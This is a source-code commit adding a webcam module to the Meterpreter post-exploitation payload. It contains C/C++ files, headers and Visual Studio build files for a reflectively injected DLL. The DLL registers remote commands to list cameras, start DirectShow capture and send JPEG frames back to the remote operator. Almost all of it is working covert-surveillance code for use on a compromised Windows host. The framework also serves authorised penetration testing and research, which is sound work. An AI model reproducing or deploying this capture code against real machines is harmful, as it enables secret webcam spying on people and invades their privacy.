* This module implements webcam capture and mic recording features.
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "main.h"
//#include "audio.h"
#include "video.h"
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] =
{
// Video
{ "webcam_list",
{ request_webcam_list, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_start",
{ request_webcam_start, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_get_frame",
{ request_webcam_get_frame, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "webcam_stop",
{ request_webcam_stop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Audio
// { "webcam_audio_get_dev_audio",
// { request_audio_get_dev_audio, { 0 }, 0 },
// { EMPTY_DISPATCH_HANDLER },
// },
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
};
/*
* Initialize the server extension
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
DWORD index;
hMetSrv = remote->hMetSrv;
for (index = 0;
customCommands[index].method;
index++)
command_register(&customCommands[index]);
return ERROR_SUCCESS;
}
/*
* Deinitialize the server extension
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,36 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_WEBCAM_H
#define TLV_TYPE_EXTENSION_WEBCAM 0
#define TLV_TYPE_WEBCAM_IMAGE \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_RAW, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 1)
#define TLV_TYPE_WEBCAM_INTERFACE_ID \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 2)
#define TLV_TYPE_WEBCAM_QUALITY \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 3)
#define TLV_TYPE_WEBCAM_NAME \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 4)
#define TLV_TYPE_WEBCAM_SOUND \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_RAW, \
TLV_TYPE_EXTENSION_WEBCAM, \
TLV_EXTENSIONS + 5)
#endif

View File

@ -0,0 +1,422 @@
//This software is based on Touchless, which is released under the Microsoft Public License (Ms-PL)
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <dshow.h>
#pragma comment(lib, "strmiids")
extern "C" {
#include "../../common/common.h"
#include "main.h"
#include "video.h"
#include "bmp2jpeg.h"
}
//Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions
interface ISampleGrabberCB : public IUnknown {
virtual STDMETHODIMP SampleCB( double SampleTime, IMediaSample *pSample ) = 0;
virtual STDMETHODIMP BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen ) = 0;
};
static const IID IID_ISampleGrabberCB = { 0x0579154A, 0x2B53, 0x4994, { 0xB0, 0xD0, 0xE7, 0x73, 0x14, 0x8E, 0xFF, 0x85 } };
interface ISampleGrabber : public IUnknown {
virtual HRESULT STDMETHODCALLTYPE SetOneShot( BOOL OneShot ) = 0;
virtual HRESULT STDMETHODCALLTYPE SetMediaType( const AM_MEDIA_TYPE *pType ) = 0;
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( AM_MEDIA_TYPE *pType ) = 0;
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( BOOL BufferThem ) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( long *pBufferSize, long *pBuffer ) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( IMediaSample **ppSample ) = 0;
virtual HRESULT STDMETHODCALLTYPE SetCallback( ISampleGrabberCB *pCallback, long WhichMethodToCallback ) = 0;
};
static const IID IID_ISampleGrabber = { 0x6B652FFF, 0x11FE, 0x4fce, { 0x92, 0xAD, 0x02, 0x66, 0xB5, 0xD7, 0xC7, 0x8F } };
static const CLSID CLSID_SampleGrabber = { 0xC1F400A0, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } };
static const CLSID CLSID_NullRenderer = { 0xC1F400A4, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } };
//Handle used for synchronization. Main thread waits for capture event to be signalled to clean up
HANDLE writeEvent;
//Store width/height of captured frame
int nWidth;
int nHeight;
bool running = false;
//Capture variables
#define MAX_CAMERAS 10
IGraphBuilder* g_pGraphBuilder = NULL;
IMediaControl* g_pMediaControl = NULL;
ICaptureGraphBuilder2* g_pCaptureGraphBuilder = NULL;
IBaseFilter* g_pIBaseFilterCam = NULL;
IBaseFilter* g_pIBaseFilterSampleGrabber = NULL;
IBaseFilter* g_pIBaseFilterNullRenderer = NULL;
PBYTE imgdata = NULL;
UINT imgsize = 0;
UINT bmpsize = 0;
PBYTE bmpdata = NULL;
// SampleGrabber callback interface
class MySampleGrabberCB : public ISampleGrabberCB{
public:
MySampleGrabberCB(){
m_nRefCount = 0;
}
virtual HRESULT STDMETHODCALLTYPE SampleCB(
double SampleTime,
IMediaSample *pSample){
return E_FAIL;
}
virtual HRESULT STDMETHODCALLTYPE BufferCB(
double SampleTime,
BYTE *pBuffer,
long BufferLen) {
if (imgdata == NULL || imgsize < BufferLen){
imgsize = BufferLen;
if(imgdata != NULL)
free(imgdata);
imgdata = (PBYTE)malloc(imgsize);
}
memcpy(imgdata,pBuffer,imgsize);
SetEvent(writeEvent); //Notify of new frame
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
REFIID riid,
void **ppvObject) {
return E_FAIL; // Not a very accurate implementation
}
virtual ULONG STDMETHODCALLTYPE AddRef(){
return ++m_nRefCount;
}
virtual ULONG STDMETHODCALLTYPE Release(){
int n = --m_nRefCount;
if (n <= 0)
delete this;
return n;
}
private:
int m_nRefCount;
};
extern "C" {
// lists webcams
DWORD request_webcam_list(Remote *remote, Packet *packet){
Packet *response = packet_create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
do{
IEnumMoniker* pclassEnum = NULL;
ICreateDevEnum* pdevEnum = NULL;
CoInitialize(NULL);
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum,
NULL,
CLSCTX_INPROC,
IID_ICreateDevEnum,
(LPVOID*)&pdevEnum);
if (SUCCEEDED(hr))
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
if (pdevEnum != NULL){
pdevEnum->Release();
pdevEnum = NULL;
}
int nCount = 0;
IUnknown* pUnk = NULL;
if (pclassEnum == NULL)
break;// Error!
IMoniker* apIMoniker[1];
ULONG ulCount = 0;
while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){
IPropertyBag *pPropBag;
hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag);
if (SUCCEEDED(hr)) {
// To retrieve the filter's friendly name, do the following:
VARIANT varName;
VariantInit(&varName);
hr = pPropBag->Read(L"FriendlyName", &varName, 0);
//get chars from wchars
size_t converted;
char charbuf[512];
wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf));
if (SUCCEEDED(hr) && varName.vt == VT_BSTR)
packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf);
VariantClear(&varName);
pPropBag->Release();
}
nCount++;
}
pclassEnum->Release();
if(pUnk == NULL)
break;// No webcam!
} while (0);
dwResult = GetLastError();
packet_transmit_response(dwResult, remote, response);
return dwResult;
}
// Starts webcam
DWORD request_webcam_start(Remote *remote, Packet *packet){
Packet *response = packet_create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID);
do {
if(running)
BREAK_WITH_ERROR("Already running!", ERROR_SERVICE_ALREADY_RUNNING)
IEnumMoniker* pclassEnum = NULL;
ICreateDevEnum* pdevEnum = NULL;
if(index < 1)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
CoInitialize(NULL);
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum,
NULL,
CLSCTX_INPROC,
IID_ICreateDevEnum,
(LPVOID*)&pdevEnum);
if (FAILED(hr))
BREAK_WITH_ERROR("No webcams found", hr)
hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0);
if (pdevEnum != NULL){
pdevEnum->Release();
pdevEnum = NULL;
}
UINT nCount = 0;
IUnknown* pUnk = NULL;
if (pclassEnum == NULL)
break;// Error!
IMoniker* apIMoniker[1];
ULONG ulCount = 0;
while (SUCCEEDED(hr) && nCount < index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK){
pUnk = apIMoniker[0];
nCount++;
}
pclassEnum->Release();
if(pUnk == NULL)
BREAK_WITH_ERROR("No webcams found", ERROR_FILE_NOT_FOUND)
IMoniker *pMoniker = NULL;
// Grab the moniker interface
hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker);
if (FAILED(hr))
BREAK_WITH_ERROR("Query interface failed", hr)
// Build all the necessary interfaces to start the capture
hr = CoCreateInstance(CLSID_FilterGraph,
NULL,
CLSCTX_INPROC,
IID_IGraphBuilder,
(LPVOID*)&g_pGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Filter graph creation failed", hr)
hr = g_pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&g_pMediaControl);
if (FAILED(hr))
BREAK_WITH_ERROR("Query interface failed", hr)
hr = CoCreateInstance(CLSID_CaptureGraphBuilder2,
NULL,
CLSCTX_INPROC,
IID_ICaptureGraphBuilder2,
(LPVOID*)&g_pCaptureGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Capture Graph Builder failed", hr)
// Setup the filter graph
hr = g_pCaptureGraphBuilder->SetFiltergraph(g_pGraphBuilder);
if (FAILED(hr))
BREAK_WITH_ERROR("Set filter graph failed", hr)
// Build the camera from the moniker
hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&g_pIBaseFilterCam);
if (FAILED(hr))
BREAK_WITH_ERROR("Bind to object failed", hr)
// Add the camera to the filter graph
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterCam, L"WebCam");
if (FAILED(hr))
BREAK_WITH_ERROR("Add filter failed", hr)
// Create a SampleGrabber
hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterSampleGrabber);
if (FAILED(hr))
BREAK_WITH_ERROR("Create sample grabber failed", hr)
// Configure the Sample Grabber
ISampleGrabber *pGrabber = NULL;
hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber);
if (SUCCEEDED(hr)){
AM_MEDIA_TYPE mt;
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB24;
mt.formattype = FORMAT_VideoInfo;
hr = pGrabber->SetMediaType(&mt);
}
if (SUCCEEDED(hr)){
MySampleGrabberCB* msg = new MySampleGrabberCB();
hr = pGrabber->SetCallback(msg, 1);
}
if (pGrabber != NULL){
pGrabber->Release();
pGrabber = NULL;
}
if (FAILED(hr))
BREAK_WITH_ERROR("Sample grabber instantiation failed", hr)
// Add Sample Grabber to the filter graph
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterSampleGrabber, L"SampleGrabber");
if (FAILED(hr))
BREAK_WITH_ERROR("Add Sample Grabber to the filter graph failed", hr)
// Create the NullRender
hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&g_pIBaseFilterNullRenderer);
if (FAILED(hr))
BREAK_WITH_ERROR("Create the NullRender failed", hr)
// Add the Null Render to the filter graph
hr = g_pGraphBuilder->AddFilter(g_pIBaseFilterNullRenderer, L"NullRenderer");
if (FAILED(hr))
BREAK_WITH_ERROR("Add the Null Render to the filter graph failed", hr)
// Configure the render stream
hr = g_pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, g_pIBaseFilterCam,
g_pIBaseFilterSampleGrabber, g_pIBaseFilterNullRenderer);
if (FAILED(hr))
BREAK_WITH_ERROR("Configure the render stream failed", hr)
// Grab the capture width and height
hr = g_pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber);
if (FAILED(hr))
BREAK_WITH_ERROR("Querying interface failed", hr)
AM_MEDIA_TYPE mt;
hr = pGrabber->GetConnectedMediaType(&mt);
if (FAILED(hr))
BREAK_WITH_ERROR("GetConnectedMediaType failed", hr)
VIDEOINFOHEADER *pVih;
if ((mt.formattype == FORMAT_VideoInfo) &&
(mt.cbFormat >= sizeof(VIDEOINFOHEADER)) &&
(mt.pbFormat != NULL) ) {
pVih = (VIDEOINFOHEADER*)mt.pbFormat;
nWidth = pVih->bmiHeader.biWidth;
nHeight = pVih->bmiHeader.biHeight;
}else{
BREAK_WITH_ERROR("Wrong format type", hr) // Wrong format
}
if (pGrabber != NULL){
pGrabber->Release();
pGrabber = NULL;
}
//Sync: set up semaphore
writeEvent = CreateEvent(
NULL, // default security attributes
FALSE, // auto-reset event
FALSE, // initial state is nonsignaled
NULL); // no object name
// Start the capture
if (FAILED(hr))
BREAK_WITH_ERROR("CreateEvent failed", hr)
hr = g_pMediaControl->Run();
if (FAILED(hr))
BREAK_WITH_ERROR("Running capture failed", hr)
// Cleanup
if (pMoniker != NULL){
pMoniker->Release();
pMoniker = NULL;
}
//Now we wait for first frame
if(WaitForSingleObject (writeEvent, 30000) == WAIT_TIMEOUT)
BREAK_WITH_ERROR("timeout!", WAIT_TIMEOUT);
running = true;
dwResult = GetLastError();
} while (0);
packet_transmit_response(dwResult, remote, response);
return dwResult;
}
// Gets image from running webcam
DWORD request_webcam_get_frame(Remote *remote, Packet *packet){
Packet *response = packet_create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY);
//Make bmp
BITMAPFILEHEADER bfh;
bfh.bfType = 0x4d42; // always "BM"
bfh.bfSize = sizeof( BITMAPFILEHEADER );
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfOffBits = (DWORD) (sizeof( bfh ) + sizeof(BITMAPINFOHEADER));
BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = nWidth;
bih.biHeight = nHeight;
bih.biPlanes = 1;
bih.biBitCount = 24;
bih.biCompression = BI_RGB;
bih.biSizeImage = imgsize;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;
UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih);
if(bmpsize < mybmpsize){
bmpsize = mybmpsize;
if(bmpdata != NULL)
delete [] bmpdata;
bmpdata = new BYTE[bmpsize];
}
// put headers together to make a .bmp in memory
memcpy(bmpdata, &bfh, sizeof(bfh));
memcpy(bmpdata + sizeof(bfh), &bih, sizeof(bih));
memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize);
// Now convert to JPEG
DWORD jpgsize = 0;
PBYTE jpgarray = NULL; //shouldn't be bigger, right?
bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize );
//And send
packet_add_tlv_raw(response, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize);
packet_transmit_response(dwResult, remote, response);
return dwResult;
}
// Stops running webcam
DWORD request_webcam_stop(Remote *remote, Packet *packet){
Packet *response = packet_create_response(packet);
DWORD dwResult = ERROR_SUCCESS;
running = false;
if (g_pMediaControl != NULL){
g_pMediaControl->Stop();
g_pMediaControl->Release();
g_pMediaControl = NULL;
}
if (g_pIBaseFilterNullRenderer != NULL){
g_pIBaseFilterNullRenderer->Release();
g_pIBaseFilterNullRenderer = NULL;
}
if (g_pIBaseFilterSampleGrabber != NULL){
g_pIBaseFilterSampleGrabber->Release();
g_pIBaseFilterSampleGrabber = NULL;
}
if (g_pIBaseFilterCam != NULL){
g_pIBaseFilterCam->Release();
g_pIBaseFilterCam = NULL;
}
if (g_pGraphBuilder != NULL){
g_pGraphBuilder->Release();
g_pGraphBuilder = NULL;
}
if (g_pCaptureGraphBuilder != NULL){
g_pCaptureGraphBuilder->Release();
g_pCaptureGraphBuilder = NULL;
}
packet_transmit_response(dwResult, remote, response);
return dwResult;
}
}

View File

@ -0,0 +1,7 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
DWORD request_webcam_list(Remote *remote, Packet *packet);
DWORD request_webcam_start(Remote *remote, Packet *packet);
DWORD request_webcam_get_frame(Remote *remote, Packet *packet);
DWORD request_webcam_stop(Remote *remote, Packet *packet);
#endif

View File

@ -0,0 +1,398 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="9.00"
Name="ext_server_webcam"
ProjectGUID="{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}"
RootNamespace="ext_server_webcam"
Keyword="Win32Proj"
TargetFrameworkVersion="196613"
>
<Platforms>
<Platform
Name="Win32"
/>
<Platform
Name="x64"
/>
</Platforms>
<ToolFiles>
</ToolFiles>
<Configurations>
<Configuration
Name="Debug|Win32"
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
IntermediateDirectory="$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
AdditionalIncludeDirectories="..\..\source\openssl\include"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="2"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="4"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalOptions="netapi32.lib mpr.lib"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="1"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|Win32"
OutputDirectory=".\Release"
IntermediateDirectory=".\Release"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="false"
AdditionalIncludeDirectories="..\..\source\extensions\webcam;..\..\source\openssl\include;..\..\source\jpeg-8"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
AssemblerListingLocation=".\Release/"
ObjectFile=".\Release/"
ProgramDataBaseFileName=".\Release/"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="Netapi32.lib Mpr.lib metsrv.lib jpeg.lib"
OutputFile=".\Release/ext_server_webcam.dll"
LinkIncremental="1"
AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win;&quot;..\..\source\jpeg-8\lib\win\x86&quot;"
GenerateManifest="false"
IgnoreAllDefaultLibraries="false"
IgnoreDefaultLibraryNames=""
DelayLoadDLLs="metsrv.dll"
GenerateDebugInformation="false"
GenerateMapFile="true"
MapFileName=".\Release/ext_server_webcam.map"
SubSystem="0"
OptimizeReferences="0"
EnableCOMDATFolding="0"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
ImportLibrary=".\Release/ext_server_webcam.lib"
TargetMachine="1"
Profile="false"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\ext_server_webcam.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
<Configuration
Name="Debug|x64"
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="1"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="0"
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
MinimalRebuild="true"
BasicRuntimeChecks="3"
RuntimeLibrary="2"
UsePrecompiledHeader="0"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalOptions="netapi32.lib mpr.lib"
LinkIncremental="2"
GenerateDebugInformation="true"
SubSystem="2"
TargetMachine="17"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
/>
</Configuration>
<Configuration
Name="Release|x64"
OutputDirectory="$(PlatformName)\$(ConfigurationName)"
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
ConfigurationType="2"
CharacterSet="2"
WholeProgramOptimization="0"
>
<Tool
Name="VCPreBuildEventTool"
/>
<Tool
Name="VCCustomBuildTool"
/>
<Tool
Name="VCXMLDataGeneratorTool"
/>
<Tool
Name="VCWebServiceProxyGeneratorTool"
/>
<Tool
Name="VCMIDLTool"
TargetEnvironment="3"
/>
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
EnableIntrinsicFunctions="false"
AdditionalIncludeDirectories="..\..\source\extensions\webcam;..\..\source\openssl\include;&quot;..\..\source\jpeg-8&quot;"
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_ESPIA_EXPORTS"
StringPooling="true"
RuntimeLibrary="0"
EnableFunctionLevelLinking="true"
UsePrecompiledHeader="0"
AssemblerListingLocation=".\Release/"
ObjectFile=".\Release/"
ProgramDataBaseFileName=".\Release/"
WarningLevel="3"
DebugInformationFormat="3"
/>
<Tool
Name="VCManagedResourceCompilerTool"
/>
<Tool
Name="VCResourceCompilerTool"
/>
<Tool
Name="VCPreLinkEventTool"
/>
<Tool
Name="VCLinkerTool"
AdditionalDependencies="Netapi32.lib Mpr.lib metsrv.lib jpeg.lib"
OutputFile=".\Release\ext_server_webcam.x64.dll"
LinkIncremental="1"
AdditionalLibraryDirectories="..\metsrv\Release;..\..\source\openssl\lib\win;&quot;..\..\source\jpeg-8\lib\win\x64&quot;"
GenerateManifest="false"
DelayLoadDLLs="metsrv.dll"
GenerateDebugInformation="false"
GenerateMapFile="true"
MapFileName=".\Release/ext_server_webcam.map"
SubSystem="0"
OptimizeReferences="0"
EnableCOMDATFolding="0"
RandomizedBaseAddress="1"
DataExecutionPrevention="0"
ImportLibrary=".\Release/ext_server_webcam.lib"
TargetMachine="17"
Profile="false"
/>
<Tool
Name="VCALinkTool"
/>
<Tool
Name="VCManifestTool"
/>
<Tool
Name="VCXDCMakeTool"
/>
<Tool
Name="VCBscMakeTool"
/>
<Tool
Name="VCFxCopTool"
/>
<Tool
Name="VCAppVerifierTool"
/>
<Tool
Name="VCPostBuildEventTool"
CommandLine="copy /y &quot;$(ProjectDir)\release\ext_server_webcam.x64.dll&quot; &quot;$(ProjectDir)..\..\output\&quot;"
/>
</Configuration>
</Configurations>
<References>
</References>
<Files>
<Filter
Name="Source Files"
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
>
<File
RelativePath="..\..\source\extensions\webcam\bmp2jpeg.c"
>
</File>
<File
RelativePath="..\..\source\extensions\webcam\main.c"
>
</File>
<File
RelativePath="..\..\source\extensions\webcam\video.cpp"
>
</File>
</Filter>
<Filter
Name="Header Files"
Filter="h;hpp;hxx;hm;inl;inc;xsd"
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
>
<File
RelativePath="..\..\source\extensions\webcam\bmp2jpeg.h"
>
</File>
<File
RelativePath="..\..\source\extensions\webcam\main.h"
>
</File>
<File
RelativePath="..\..\source\extensions\webcam\video.h"
>
</File>
</Filter>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

View File

@ -67,6 +67,12 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\sc
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_webcam", "ext_server_webcam\ext_server_webcam.vcproj", "{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}"
ProjectSection(ProjectDependencies) = postProject
{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA} = {9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}
{72F0246A-A38D-4547-9057-46020E8E503D} = {72F0246A-A38D-4547-9057-46020E8E503D}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
@ -168,6 +174,12 @@ Global
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|Win32.Build.0 = Release|Win32
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.ActiveCfg = Release|x64
{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}.Release|x64.Build.0 = Release|x64
{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.ActiveCfg = Debug|Win32
{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|Win32.Build.0 = Debug|Win32
{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Debug|x64.ActiveCfg = Debug|Win32
{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.ActiveCfg = Release|Win32
{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|Win32.Build.0 = Release|Win32
{F7C3A0FF-982C-4C80-A61F-B8A2FDCE3B74}.Release|x64.ActiveCfg = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE